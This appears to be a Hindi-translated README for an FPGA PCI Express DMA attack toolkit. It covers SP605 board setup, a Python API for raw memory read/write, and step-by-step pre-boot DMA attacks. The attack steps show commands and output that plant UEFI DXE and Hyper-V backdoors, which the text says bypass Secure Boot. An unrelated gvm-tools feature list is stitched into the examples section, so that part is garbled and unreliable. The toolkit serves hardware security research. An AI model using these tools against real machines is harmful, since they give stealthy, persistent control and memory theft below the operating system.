cr4sh/s6_pcie_microblazeXilinx SP605 के लिए PCI Express DIY हैकिंग टूलकिट। इस रिपॉज़िटरी में Hyper-V बैकडोर और बूट बैकडोर भी शामिल हैं, लिंक और जानकारी के लिए readme देखें।
General information
Contents
SP605 board configuration
Software configuration
Examples
Using Python API
Practical DMA attacks
Option ROM attacks
Troubleshooting
Building project from the source code
इस रिपॉजिटरी में PCI-E बस और DMA attacks से संबंधित टूल और प्रूफ ऑफ कॉन्सेप्ट का एक सेट शामिल है। इसमें HDL डिज़ाइन शामिल है जो Xilinx SP605 Evaluation Kit के लिए Spartan-6 FPGA के साथ सॉफ्टवेयर-नियंत्रणीय PCI-E जेन 1.1 एंडपॉइंट डिवाइस लागू करता है। लोकप्रिय USB3380EVB की तुलना में यह डिज़ाइन PCI-E बस के रॉ ट्रांजैक्शन लेवल पैकेट (TLP) के साथ काम करने और पूर्ण 64-बिट मेमोरी रीड/राइट ऑपरेशन करने की अनुमति देता है। डिज़ाइन के व्यावहारिक उपयोग के मामलों को प्रदर्शित करने के लिए, एक टूल मौजूद है जो UEFI आधारित मशीनों पर प्री-बूट DMA हमलों के लिए है, जो प्लेटफ़ॉर्म इनिशियलाइज़ेशन के दौरान मनमाने UEFI DXE ड्राइवरों को निष्पादित करने की अनुमति देता है।
एक प्रोग्राम मौजूद है जो दिखाता है कि प्री-बूट DMA हमलों का उपयोग करके Hyper-V VM exit handler backdoor को virtualization-based security सक्षम Windows 10 और 11 में कैसे इंजेक्ट किया जाए, जो UEFI Secure Boot सक्षम प्लेटफ़ॉर्म पर चल रहे हों। प्रदान किया गया Hyper-V Backdoor PoC रिवर्स इंजीनियरिंग और एक्सप्लॉइट डेवलपमेंट उद्देश्यों के लिए उपयोगी हो सकता है, यह एक इंटरफ़ेस प्रदान करता है जो गेस्ट पार्टीशन से हाइपरवाइज़र स्थिति (VMCS, फिजिकल/वर्चुअल मेमोरी, रजिस्टर, आदि) का निरीक्षण करने और गेस्ट से होस्ट VM escape हमले करने की अनुमति देता है।
एक और प्रोग्राम दिखाता है कि प्री-बूट DMA हमलों का उपयोग करके Boot Backdoor के माध्यम से Windows ऑपरेटिंग सिस्टम की बूट प्रक्रिया को हाईजैक करके उसमें मनमाना यूज़र मोड या कर्नेल मोड कोड कैसे इंजेक्ट किया जाए। यह प्रोग्राम DMA Shell के साथ भी काम कर सकता है − यह Boot Backdoor पेलोड है जो रॉग PCI-E डिवाइस पर कंसोल कमांड निष्पादित करने, फ़ाइलें स्थानांतरित करने और लक्ष्य ऑपरेटिंग सिस्टम में रनटाइम पर तृतीय-पक्ष एक्ज़ीक्यूटेबल लोड करने की अनुमति देता है।
💾 इस प्रोजेक्ट के Hyper-V Backdoor भाग में इस दस्तावेज़ में वर्णित की तुलना में कई अन्य सुविधाएँ और परिनियोजन विकल्प हैं, आप इसे DMA हमले के टूल से अलग भी उपयोग कर सकते हैं, बिना किसी विशेष हार्डवेयर के भी: इसका दस्तावेज़ीकरण देखें
💾 इस प्रोजेक्ट के Boot Backdoor भाग में इस दस्तावेज़ में वर्णित की तुलना में कई अन्य सुविधाएँ और परिनियोजन विकल्प हैं, आप इसे DMA हमले के टूल से अलग भी उपयोग कर सकते हैं, बिना किसी विशेष हार्डवेयर के भी: इसका दस्तावेज़ीकरण देखें
💾 इस प्रोजेक्ट के Python टूल और SP605, ZC706 और PicoEVB बोर्डों के लिए FPGA डिज़ाइन का उपयोग प्री-बूट DMA हमले के साथ SMM Backdoor Next Gen को परिनियोजित करने के लिए भी किया जा सकता है। अधिक तकनीकी विवरण के लिए इसका दस्तावेज़ीकरण देखें।
🛠️ इस प्रोजेक्ट के Python टूल और पेलोड, जिनमें Hyper-V Backdoor और Boot Backdoor शामिल हैं, Xilinx Zynq-7000 SoC आधारित बोर्डों के साथ भी उपयोग किए जा सकते हैं। Xilinx ZC706 इवैल्यूएशन किट के लिए DMA हमलों के डिज़ाइन का एक अलग प्रोजेक्ट है।
🛠️ इस प्रोजेक्ट के Python टूल और पेलोड, जिनमें Hyper-V Backdoor और Boot Backdoor शामिल हैं, PicoEVB डेवलपमेंट बोर्ड के साथ भी उपयोग किए जा सकते हैं। एक अलग Pico DMA project है − M.2 स्लॉट के लिए पूर्णतः स्वायत्त प्री-बूट DMA हमला हार्डवेयर इम्प्लांट जो पेलोड के रूप में मनमाने UEFI DXE ड्राइवर चला सकता है।
s6_pcie_microblaze.xise − Xilinx ISE प्रोजेक्ट फ़ाइल।
microblaze/pcores/axis_pcie_v1_00_a/ − कस्टम परिधीय मॉड्यूल जो Spartan-6 FPGA के PCI Express एकीकृत एंडपॉइंट ब्लॉक को MicroBlaze सॉफ्ट प्रोसेसर कोर से रॉ TLP स्ट्रीम के रूप में जोड़ने की अनुमति देता है।
sdk/srec_bootloader_0/ − MicroBlaze सॉफ्ट प्रोसेसर के लिए सरल बूटलोडर, यह SREC इमेज फॉर्मेट और SP605 की ऑनबोर्ड लीनियर फ्लैश मेमोरी का उपयोग करके मुख्य MicroBlaze प्रोग्राम को लोड और स्टोर करता है।
sdk/main_0/ − MicroBlaze सॉफ्ट प्रोसेसर के लिए मुख्य प्रोग्राम, यह SP605 के ऑनबोर्ड ईथरनेट पोर्ट और lwIP network stack का उपयोग करके PCI-E बस के रॉ TLP पैकेट को TCP कनेक्शन में अग्रेषित करता है।
python/pcie_lib.py − SP605 बोर्ड पर चल रहे मुख्य MicroBlaze प्रोग्राम के साथ नेटवर्क पर इंटरैक्ट करने के लिए Python लाइब्रेरी, यह Python कोड से PCI-E के TLP स्तर के साथ काम करने के लिए विभिन्न निम्न-स्तरीय और उच्च-स्तरीय अब्स्ट्रैक्शन लागू करती है।
python/pcie_mem.py − कमांड लाइन प्रोग्राम जो MRd TLP भेजकर होस्ट RAM को स्क्रीन या आउटपुट फ़ाइल में डंप करता है।
python/pcie_mem_scan.py − कमांड लाइन प्रोग्राम जो PCI-E बस पर सुलभ भौतिक मेमोरी रेंज के लिए लक्ष्य होस्ट को स्कैन करता है, यह IOMMU सक्षम प्लेटफ़ॉर्म के सुरक्षा ऑडिट के लिए उपयोगी है (उदाहरण: 1, 2, , )।
Xilinx UG526 दस्तावेज़, जिसे SP605 Hardware User Guide के रूप में भी जाना जाता है, आपका सबसे अच्छा मित्र है यदि आप इस बेहतरीन बोर्ड के उपयोग और कॉन्फ़िगरेशन के बारे में अधिक विवरण जानना चाहते हैं।
ऑनबोर्ड SPI फ्लैश चिप से बिटस्ट्रीम लोड करने के लिए आपको SW1 स्विच को 1-ON, 2-OFF स्थिति में घुमाकर SP605 को कॉन्फ़िगर करना होगा।
अब आपको FPGA बिटस्ट्रीम को SPI फ्लैश में लिखना है। यदि आप Xilinx iMPACT उपयोगिता की सहायता से JTAG पर यह करना चाहते हैं तो s6_pcie_microblaze.mcs फ़ाइल का उपयोग करें (यह ट्यूटोरियल देखें), या s6_pcie_microblaze.bin का उपयोग करें यदि आप SP605 के J17 हेडर से जुड़ा बाहरी SPI फ्लैश प्रोग्रामर उपयोग करना चाहते हैं (जो सबसे तेज़ और अधिक सुविधाजनक तरीका है)।
flashrom संगत SPI फ्लैश प्रोग्रामर के मामले में आप flash_to_spi.py प्रोग्राम को flashrom रैपर के रूप में उपयोग कर सकते हैं:```
$ ./flash_to_spi.py linux_spi:dev=/dev/spidev1.0 s6_pcie_microblaze.bin
Using region: "main".
Calibrating delay loop... OK.
Found Winbond flash chip "W25Q64.V" (8192 kB, SPI) on linux_spi.
Reading old flash chip contents... done.
Erasing and writing flash chip...
Warning: Chip content is identical to the requested image.
Erase/write done.
3) पिछले चरण में SPI फ्लैश में लिखी गई बिटस्ट्रीम फ़ाइल में MicroBlaze कोर के लिए कस्टम बूटलोडर शामिल है (अधिक विवरण के लिए [bootloader.c](https://github.com/Cr4sh/s6_pcie_microblaze/blob/master/sdk/srec_bootloader_0/src/bootloader.c) देखें)। यह बूटलोडर बोर्ड विकल्पों को कॉन्फ़िगर करने और SP605 के UART पोर्ट के माध्यम से लीनियर फ्लैश में मुख्य प्रोग्राम लिखने की अनुमति देता है।
MicroBlaze को अपडेट मोड में बूट करने के लिए आपको SPI फ्लैश प्रोग्रामर को डिस्कनेक्ट करना होगा और बोर्ड को `SW4` पुशबटन स्विच दबाए हुए पावर करना होगा; जब `DS6` LED एक्टिव अपडेट मोड का संकेत देते हुए चालू हो जाए तो `SW4` को छोड़ दें।
4) मुख्य प्रोग्राम को लीनियर फ्लैश में लिखने के लिए (अधिक विवरण के लिए [main.c](https://github.com/Cr4sh/s6_pcie_microblaze/blob/master/sdk/main_0/src/main.c) देखें) आपको अपने कंप्यूटर को SP605 के UART ब्रिज USB पोर्ट से कनेक्ट करना होगा और `bootloader_ctl.py` प्रोग्राम को `--flash` विकल्प के साथ चलाना होगा:```
$ easy_install pyserial
$ ./python/bootloader_ctl.py /dev/ttyUSB0 --flash sdk/main_0/Debug/main_0.srec
[+] Opening device "/dev/ttyUSB0"...
[+] Flasing 339852 bytes from "sdk/main_0/Debug/main_0.srec"...
Erasing flash...
Writing 0x100 bytes at 0x00100000
Writing 0x100 bytes at 0x00100100
...
Writing 0x100 bytes at 0x00152e00
Writing 0x8c bytes at 0x00152f00
[+] DONE
bootloader_ctl.py प्रोग्राम को --config विकल्प के साथ चलाना होगा:```
$ ./python/bootloader_ctl.py /dev/ttyUSB0 --config 192.168.2.247:255.255.255.0:192.168.2.1:28472
[+] Opening device "/dev/ttyUSB0"...
[+] Updating board settings...Address: 192.168.2.247 Netmask: 255.255.255.0 Gateway: 192.168.2.1 Port: 28472
Erasing flash... Writing 0x12 bytes at 0x00000000 [+] DONE
6) अब आप अपडेट मोड से बाहर निकल सकते हैं और लीनियर फ्लैश से मुख्य MicroBlaze प्रोग्राम बूट कर सकते हैं:```
$ ./python/bootloader_ctl.py /dev/ttyUSB0 --boot
[+] Opening device "/dev/ttyUSB0"...
[+] Exitting from update mode...
SREC Bootloader
Loading SREC image from flash at address: 42000000
Executing program starting at address: 00000000
Loading settings from flash...
[+] Address: 192.168.2.247
[+] Netmask: 255.255.255.0
[+] Gateway: 192.168.2.1
auto-negotiated link speed: 100
start_application(): TCP server is started at port 28472
मुख्य प्रोग्राम अपने त्रुटि संदेशों को ऑनबोर्ड UART में प्रिंट करता है, आप इन संदेशों को वास्तविक समय में मॉनिटर करने के लिए bootloader_ctl.py के --console विकल्प का उपयोग कर सकते हैं।
SP605 को टारगेट कंप्यूटर के PCI-E स्लॉट से कनेक्ट करें और कंप्यूटर चालू करें। जब PCI-E लिंक सफलतापूर्वक स्थापित हो जाता है तो आप DS3 और DS4 LEDs को ऑन देखेंगे।
यह सुनिश्चित करने के लिए कि ऑपरेटिंग सिस्टम आपके बोर्ड को उचित PCI-E डिवाइस के रूप में देख रहा है, टारगेट कंप्यूटर पर lspci कमांड चलाएँ:
# lspci | grep Xilinx
01:00.0 Ethernet controller: Xilinx Corporation Default PCIe endpoint ID
```
JTAG संबंधित नोट्स: SP605 में ऑनबोर्ड USB से JTAG इंटरफ़ेस है जो iMPACT और अन्य Xilinx टूल्स के साथ संगत है। हालाँकि, यह बहुत अच्छा नहीं है, इसलिए यदि आप Xilinx ट्यूटोरियल में वर्णित अनुसार SPI फ्लैश को प्रोग्राम करने के लिए ऑनबोर्ड JTAG का उपयोग करने की योजना बना रहे हैं, तो आपको निम्नलिखित कार्य करने होंगे:
* JTAG के साथ काम करते समय SP605 के FMC स्लॉट से जुड़े किसी भी हार्डवेयर को हटा दें।
* Xilinx iMPACT सेटिंग्स में JTAG इंटरफ़ेस को 750 KHz गति पर कॉन्फ़िगर करें (अधिक उच्च गति पर यह अस्थिर रूप से काम करता है)।
Xilinx SP605 बोर्ड को [Thunderbolt to PCI-E expansion chassis](https://www.amazon.com/s/ref?field-keywords=thunderbolt+to+pcie) का उपयोग करके लक्षित कंप्यूटर के Thunderbolt 2/3 बाहरी पोर्ट से भी जोड़ा जा सकता है। कृपया ध्यान दें कि SP605 [अपेक्षाकृत बड़ा बोर्ड](https://www.xilinx.com/support/answers/53808.html) है, इसलिए यह कुछ चेसिस में फिट नहीं हो सकता है। उदाहरण के लिए, मैं [HighPoint RocketStor 6361A](http://www.highpoint-tech.com/USA_new/series_RS6361A_overview.htm) Thunderbolt 2 एनक्लोज़र का उपयोग कर रहा हूँ जो मेरे MacBook Pro के साथ ठीक काम करता है।
## सॉफ़्टवेयर कॉन्फ़िगरेशन
बोर्ड के साथ इंटरैक्ट करने के लिए Python टूल और PCI-E ट्रांज़ैक्शन लेयर का छोटा कार्यान्वयन `python` फ़ोल्डर में स्थित है। चूँकि मुख्य MicroBlaze प्रोग्राम TLP पैकेट स्थानांतरित करने के लिए TCP कनेक्शन का उपयोग करता है, किसी ड्राइवर या तृतीय-पक्ष निर्भरता की आवश्यकता नहीं है, आप प्रदान किए गए Python कोड का उपयोग किसी भी ऑपरेटिंग सिस्टम पर कर सकते हैं।
लक्षित बोर्ड IP पता और पोर्ट सेट करने के लिए `python/pcie_lib_config.py` फ़ाइल में `PCIE_TO_TCP_ADDR` वेरिएबल संपादित करें।
## उदाहरण
प्रदान किए गए FPGA बिटस्ट्रीम द्वारा कार्यान्वित PCI-E डिवाइस के बारे में जानकारी (ठीक वैसे ही जैसे लक्षित कंप्यूटर इसे देखता है):```
$ lspci -vvs 01:00.0
01:00.0 Ethernet controller: Xilinx Corporation Default PCIe endpoint ID
Subsystem: Xilinx Corporation Default PCIe endpoint ID
Control: I/O- Mem- BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
Interrupt: pin A routed to IRQ 11
Region 0: Memory at f7d00000 (32-bit, non-prefetchable) [disabled] [size=1M]
Capabilities: [40] Power Management version 3
Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=0mA PME(D0+,D1+,D2+,D3hot+,D3cold-)
Status: D0 NoSoftRst+ PME-Enable- DSel=0 DScale=0 PME-
Capabilities: [48] MSI: Enable- Count=1/1 Maskable- 64bit+
Address: 0000000000000000 Data: 0000
Capabilities: [58] Express (v1) Endpoint, MSI 00
DevCap: MaxPayload 512 bytes, PhantFunc 0, Latency L0s unlimited, L1 unlimited
ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop+
MaxPayload 128 bytes, MaxReadReq 512 bytes
DevSta: CorrErr+ UncorrErr- FatalErr+ UnsuppReq- AuxPwr- TransPend-
LnkCap: Port #0, Speed 2.5GT/s, Width x1, ASPM L0s, Latency L0 unlimited, L1 unlimited
ClockPM- Surprise- LLActRep- BwNot-
LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- Retrain- CommClk-
ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
LnkSta: Speed 2.5GT/s, Width x1, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
Capabilities: [100 v1] Device Serial Number 00-00-00-01-01-00-0a-35
```
Example of PCI-E device as it shown in Apple macOS hardware information when connected to the Thunderbolt 2 port of MacBook Pro:
<img src="https://assets.kitploit.com/production/public/readmes/47570/efb704365c900dc16094c980d9a4625314ec8ed5d3422b17d3610ecb4ee223c4.png" width="623">
On the attacker side you can use `pcie_cfg.py` program to view configuration space registers of PCI-E device:```
$ ./pcie_cfg.py
[+] PCI-E link with target is up
[+] Device address is 03:00.0
VENDOR_ID = 0x10ee
DEVICE_ID = 0x1337
COMMAND = 0x0
STATUS = 0x10
REVISION = 0x0
CLASS_PROG = 0x0
CLASS_DEVICE = 0x200
CACHE_LINE_SIZE = 0x10
LATENCY_TIMER = 0x0
HEADER_TYPE = 0x0
BIST = 0x0
BASE_ADDRESS_0 = 0x90500000
BASE_ADDRESS_1 = 0x0
BASE_ADDRESS_2 = 0x0
BASE_ADDRESS_3 = 0x0
BASE_ADDRESS_4 = 0x0
BASE_ADDRESS_5 = 0x0
CARDBUS_CIS = 0x0
SUBSYSTEM_VENDOR_ID = 0x10ee
SUBSYSTEM_ID = 0x7
ROM_ADDRESS = 0x0
INTERRUPT_LINE = 0xff
INTERRUPT_PIN = 0x1
MIN_GNT = 0x0
MAX_LAT = 0x0
```
## ✅ मूल सुविधाएं
📙 **प्रलेखन** _[https://gvm-tools.scanmanager.com](https://gvm-tools.scanmanager.com)_
🔁 **TLS** _अपलोड - डाउनलोड_
➕ **बैकअप** _- पुनर्स्थापना_
🕒 **अनुसूचक** (देखें [यहाँ](https://gvm-tools.scanmanager.com/en/latest/pages/gvm-tools.html#scheduler))
➕ **परिणाम** _- नोट्स - अधिभार_
🧑🏻💻 **GMP** SSH के माध्यम से (उन्नत स्थानीय पोर्ट अग्रेषण)```
$ ./pcie_cfg.py -x
[+] PCI-E link with target is up
[+] Device address is 03:00.0
0000: 0x10ee 0x1337
0004: 0x0000 0x0010
0008: 0x0000 0x0200
000c: 0x0010 0x0000
0010: 0x0000 0x9050
0014: 0x0000 0x0000
0018: 0x0000 0x0000
001c: 0x0000 0x0000
0020: 0x0000 0x0000
0024: 0x0000 0x0000
0028: 0x0000 0x0000
002c: 0x10ee 0x0007
0030: 0x0000 0x0000
0034: 0x0040 0x0000
0038: 0x0000 0x0000
003c: 0x01ff 0x0000
...
```
यहाँ `pcie_mem.py` प्रोग्राम का उपयोग करके शून्य एड्रेस से शुरू करते हुए लक्ष्य कंप्यूटर की भौतिक मेमोरी के 0x80 बाइट्स को डंप करने का एक उदाहरण दिया गया है:```
$ DEBUG_TLP=1 ./pcie_mem.py 0x0 0x80
TLP TX: size = 0x04, source = 01:00.0, type = MRd64
tag = 0x00, bytes = 0x84, addr = 0x00000000
0x20000021 0x010000ff 0x00000000 0x00000000
TLP RX: size = 0x23, source = 00:00.0, type = CplD
tag = 0x00, bytes = 132, req = 01:00.0, comp = 00:00.0
0x4a000020 0x00000084 0x01000000
0xf3ee00f0 0xf3ee00f0 0xc3e200f0 0xf3ee00f0
0xf3ee00f0 0x54ff00f0 0x053100f0 0xfe3000f0
0xa5fe00f0 0xe40400e8 0xf3ee00f0 0xf3ee00f0
0xf3ee00f0 0xf3ee00f0 0x57ef00f0 0x53ff00f0
0x140000c0 0x4df800f0 0x41f800f0 0x59ec00f0
0x39e700f0 0xd40600e8 0x2ee800f0 0xd2ef00f0
0x00e000f0 0xf2e600f0 0x6efe00f0 0x53ff00f0
0x53ff00f0 0xa4f000f0 0xc7ef00f0 0xb19900c0
TLP RX: size = 0x04, source = 00:00.0, type = CplD
tag = 0x00, bytes = 4, req = 01:00.0, comp = 00:00.0
0x4a000001 0x00000004 0x01000000
0xf3ee00f0
00000000: f3 ee 00 f0 f3 ee 00 f0 c3 e2 00 f0 f3 ee 00 f0 | ................
00000010: f3 ee 00 f0 54 ff 00 f0 05 31 00 f0 fe 30 00 f0 | ....T....1...0..
00000020: a5 fe 00 f0 e4 04 00 e8 f3 ee 00 f0 f3 ee 00 f0 | ................
00000030: f3 ee 00 f0 f3 ee 00 f0 57 ef 00 f0 53 ff 00 f0 | ........W...S...
00000040: 14 00 00 c0 4d f8 00 f0 41 f8 00 f0 59 ec 00 f0 | ....M...A...Y...
00000050: 39 e7 00 f0 d4 06 00 e8 2e e8 00 f0 d2 ef 00 f0 | 9...............
00000060: 00 e0 00 f0 f2 e6 00 f0 6e fe 00 f0 53 ff 00 f0 | ........n...S...
00000070: 53 ff 00 f0 a4 f0 00 f0 c7 ef 00 f0 b1 99 00 c0 | S...............
```
भौतिक मेमोरी को फ़ाइल में सहेजने का उदाहरण:```
./pcie_mem.py 0x14000000 0x8000 dumped.bin
[+] PCI-E link with target is up
[+] Device address is 01:00.0
[+] Reading 0x14000000
[+] Reading 0x14001000
[+] Reading 0x14002000
[+] Reading 0x14003000
[+] Reading 0x14004000
[+] Reading 0x14005000
[+] Reading 0x14006000
[+] Reading 0x14007000
[+] Reading 0x14008000
32768 bytes written into the dumped.bin
```
प्रदान किया गया Python सॉफ़्टवेयर कुछ विकल्पों के डिफ़ॉल्ट मानों को ओवरराइड करने के लिए कुछ पर्यावरण चरों का उपयोग करता है:
* `DEBUG_TLP` − यदि `1` पर सेट किया जाता है, तो TX और RX TLP पैकेट डंप को मानक आउटपुट में प्रिंट करता है।
* `TARGET_ADDR` − `<address>:<port>` स्ट्रिंग जो `python/pcie_lib_config.py` फ़ाइल में निर्दिष्ट बोर्ड के IP पते को ओवरराइड करती है।
## Python API का उपयोग करना
Python लाइब्रेरी `pcie_lib.py` विभिन्न TLP प्रकारों के लिए अमूर्तता (abstractions) और उच्च-स्तरीय भौतिक मेमोरी एक्सेस API के साथ PCE-E TLP पैकेट भेजने और प्राप्त करने के लिए निम्न-स्तरीय API प्रदान करती है।
निम्नलिखित प्रोग्राम दर्शाता है कि `pcie_lib.py` का उपयोग करके raw TLP के साथ कैसे काम करें:```python
from pcie_lib import *
#
# Open PCI-E device, optional addr parameter overrides value specified in pcie_lib_config.py
# file or TARGET_ADDR environment variable
#
dev = TransactionLayer(addr = ( '192.168.2.247', 28472 ))
# get bus:device.function address of our PCI-E endpoint
bus_id = dev.get_bus_id()
#
# MRd TLP request which reads 1 dword of memory at address 0x1000
#
tlp_tx = [ 0x20000001, # TLP type and data size
0x000000ff | (bus_id << 16), # requester ID
0x00000000, # high dword of physical memory address
0x00001000 ] # low dword of physical memory address
# send TLP
dev.write(tlp_tx)
# receive root complex reply
tlp_rx = dev.read(raw = True)
# prints 4a000001 00000004 01000000 00000000
print('%.8x %.8x %.8x %.8x' % tuple(tlp_rx))
# check for CplD TLP format and type
assert (tlp_rx[0] >> 24) & 0xff == 0x4a
# print readed dword
print('%.8x' % tlp_rx[3])
dev.close()
```
अधिक सुविधाजनक उच्च-स्तरीय अमूर्तताओं का उपयोग करके TLPs के साथ कार्य करना:```python
# MRd TLP request which reads 1 dword of memory at address 0x1000
tlp_tx = dev.PacketMRd64(dev.bus_id, 0x1000, 4)
# send TLP
dev.write(tlp_tx)
# receive root complex reply
tlp_rx = dev.read()
# check for CplD TLP
assert isinstance(tlp_rx, dev.PacketCplD)
# print readed dword
print('%.8x' % tlp_rx.data[0])
```
उच्च स्तरीय API के साथ भौतिक मेमोरी तक पहुँचना:```python
# write bytes to memory
dev.mem_write(0x1000, '\xAA' * 0x10)
# write single qword/dword/word/byte to memory
dev.mem_write_8(0x1000, 0)
dev.mem_write_4(0x1000, 0)
dev.mem_write_2(0x1000, 0)
dev.mem_write_1(0x1000, 0)
# read bytes from memory
print(repr(dev.mem_read(0x1000, 0x10)))
# read single qword/dword/word/byte from memory
print('%.16x' % dev.mem_read_8(0x1000))
print('%.8x' % dev.mem_read_4(0x1000))
print('%.4x' % dev.mem_read_2(0x1000))
print('%.2x' % dev.mem_read_1(0x1000))
```
## व्यावहारिक DMA हमले
इस परियोजना के मुख्य लक्ष्यों में से एक तथाकथित प्री-बूट DMA हमलों को करने के लिए लचीले और सुविधाजनक उपकरणों का एक सेट प्रदान करना है। नियमित DMA हमलों की तुलना में, वे ऑपरेटिंग सिस्टम के बजाय प्लेटफ़ॉर्म प्रारंभिककरण के UEFI DXE चरण के प्री-बूट वातावरण को लक्षित करते हैं। इस तरह के हमले अपेक्षाकृत शुरुआती चरणों में दुर्भावनापूर्ण कोड चलाने की अनुमति देते हैं जब IOMMU और ऑपरेटिंग सिस्टम की अन्य सुरक्षा सुविधाएँ अभी तक प्रारंभ नहीं हुई होती हैं।
<img src="https://assets.kitploit.com/production/public/readmes/47570/6a87a76c672dc69ade501714127d61c89fb94cc82f3593bf9480275fe539169e.jpg" width="610">
प्री-बूट DMA हमले प्लेटफ़ॉर्म फ़र्मवेयर की विभिन्न सुरक्षा सुविधाओं, जैसे UEFI सुरक्षित बूट या [Intel Boot Guard](https://edk2-docs.gitbook.io/understanding-the-uefi-secure-boot-chain/secure_boot_chain_in_uefi/intel_boot_guard), को बायपास करने की अनुमति देते हैं।
Python प्रोग्राम `uefi_backdoor_simple.py` ऊपर वर्णित प्री-बूट DMA हमले का उपयोग करके `payloads/DmaBackdoorSimple` फ़ोल्डर में स्थित डमी UEFI DXE ड्राइवर को लक्ष्य सिस्टम के बूट अनुक्रम में इंजेक्ट करता है। इस प्रोग्राम का उपयोग करने के लिए आपको निम्नलिखित चरणों का पालन करना होगा:
1) लक्ष्य कंप्यूटर को बंद कर दें।
2) SP605 बोर्ड को लक्ष्य कंप्यूटर के PCI-E (या Mini PCI-E, या M.2) पोर्ट से कनेक्ट करें।
3) बोर्ड चालू करें और सुनिश्चित करें कि `bootloader_ctl.py` प्रोग्राम के साथ बोर्ड कॉन्फ़िगरेशन के दौरान निर्दिष्ट IP पते को पिंग करके Microblaze फ़र्मवेयर सफलतापूर्वक प्रारंभ किया गया था।
4) प्री-बूट DMA हमला शुरू करने के लिए निम्नलिखित कमांड चलाएँ:```
$ ./uefi_backdoor_simple.py --driver payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64.efi
```
5) लक्षित कंप्यूटर चालू करें, सफल हमले की स्थिति में कुछ सेकंड बाद आपको इंजेक्ट किए गए UEFI DXE ड्राइवर की लाल डीबग संदेश स्क्रीन दिखाई देगी:
<img src="https://assets.kitploit.com/production/public/readmes/47570/e00aa1b8efca7e64799def1fa7fdabf58d19a8744f34cb1bd939d834dbbf30b8.png" width="540">
सफल हमले के बाद `uefi_backdoor_simple.py` कंसोल आउटपुट का एक उदाहरण:```
$ ./uefi_backdoor_simple.py --driver payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64.efi
[+] Using UEFI system table hook injection method
[+] Reading DXE phase payload from payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64.efi
[!] Bad MRd TLP completion received
[!] Bad MRd TLP completion received
[!] Bad MRd TLP completion received
[+] PCI-E link with target is up
[+] TSEG is somewhere around 0xd7000000
[+] PE image is at 0xd6260000
[+] EFI_SYSTEM_TABLE is at 0xd61eaf18
[+] EFI_BOOT_SERVICES is at 0xd680aa00
[+] EFI_BOOT_SERVICES.LocateProtocol() address is 0xd67e2c18
Backdoor image size is 0x1240
Backdoor entry RVA is 0x31c
Planting DXE stage driver at 0x10000...
Hooking LocateProtocol(): 0xd67e2c18 -> 0x0001031c
0.780202 sec.
[+] DXE driver was planted, waiting for backdoor init...
[+] DXE driver was executed
[+] DONE
```
यह डमी UEFI DXE ड्राइवर, `uefi_backdoor_simple.py` प्रोग्राम के साथ, एक skeleton प्रोजेक्ट के रूप में उपयोग किया जा सकता है, जिससे ऑपरेटिंग सिस्टम बूटलोडर, कर्नेल या हाइपरवाइज़र में दुर्भावनापूर्ण कोड इंजेक्ट करने जैसे विभिन्न हमलों को लागू किया जा सकता है।
एक और Python प्रोग्राम भी है − `uefi_backdoor_hv.py`, यह `payloads/DmaBackdoorHv` फ़ोल्डर में स्थित Hyper-V VM exit handler बैकडोर को लक्षित सिस्टम के बूट अनुक्रम में बिल्कुल उसी तरह इंजेक्ट करता है जैसे पिछला डमी UEFI DXE ड्राइवर करता है। इसके उपयोग का एक उदाहरण यहाँ दिया गया है:```
$ ./uefi_backdoor_hv.py --driver payloads/DmaBackdoorHv/DmaBackdoorHv_X64.efi
[+] Using UEFI system table hook injection method
[+] Reading DXE phase payload from payloads/DmaBackdoorHv/DmaBackdoorHv_X64.efi
[+] Waiting for PCI-E link...
[!] PCI-E endpoint is not configured by root complex yet
[!] PCI-E endpoint is not configured by root complex yet
[!] PCI-E endpoint is not configured by root complex yet
[!] Bad MRd TLP completion received
[+] PCI-E link with target is up
[+] Looking for DXE driver PE image...
[+] PE image is at 0x77160000
[+] EFI_SYSTEM_TABLE is at 0x7a03e018
[+] EFI_BOOT_SERVICES is at 0x7a38fa30
[+] EFI_BOOT_SERVICES.LocateProtocol() address is 0x7a3987b4
Backdoor image size is 0x2c20
Backdoor entry RVA is 0xbd4
Planting DXE stage driver at 0xc0000...
Hooking LocateProtocol(): 0x7a3987b4 -> 0x000c0bd4
3.611646 sec.
[+] DXE driver was planted, waiting for backdoor init...
[+] DXE driver was executed, you can read its debug messages by running this program with --debug-output option
[+] Waiting for Hyper-V load...
[+] Hyper-V image was loaded
Hyper-V image base: 0xfffff8072d690000
Image entry: 0xfffff8072d901360
VM exit handler: 0xfffff8072d8add90
[+] DONE
```
Hyper-V Backdoor का UEFI DXE ड्राइवर भी अपने डीबग संदेशों को स्क्रीन पर प्रिंट करता है। इसके अलावा, आप `uefi_backdoor_hv.py` के `--debug-output` विकल्प का उपयोग करके इन डीबग संदेशों को लक्ष्य सिस्टम की भौतिक मेमोरी से पढ़ सकते हैं और उन्हें stdout पर प्रिंट कर सकते हैं:```
$ ./uefi_backdoor_hv.py --debug-output
[+] PCI-E link with target is up
[+] Debug output buffer address is 0x79db3000
DmaBackdoorHv.c(1018) : ******************************
DmaBackdoorHv.c(1019) :
DmaBackdoorHv.c(1020) : Hyper-V backdoor loaded!
DmaBackdoorHv.c(1021) :
DmaBackdoorHv.c(1022) : ******************************
DmaBackdoorHv.c(1055) : Image address is 0xc0000
DmaBackdoorHv.c(275) : BackdoorImageRealocate(): image size = 0x3260
DmaBackdoorHv.c(1065) : Resident code base address is 0x79daf000
DmaBackdoorHv.c(794) : Protocol notify handler is at 0x79daf364
DmaBackdoorHv.c(819) : BackdoorEntryResident()
DmaBackdoorHv.c(830) : OpenProtocol() hook was set, handler = 0x79db1477
DmaBackdoorHv.c(835) : ExitBootServices() hook was set, handler = 0x79db1487
DmaBackdoorHv.c(447) : winload.dll is at 0x8ee000
DmaBackdoorHv.c(448) : winload!BlLdrLoadImage() is at 0x984a10
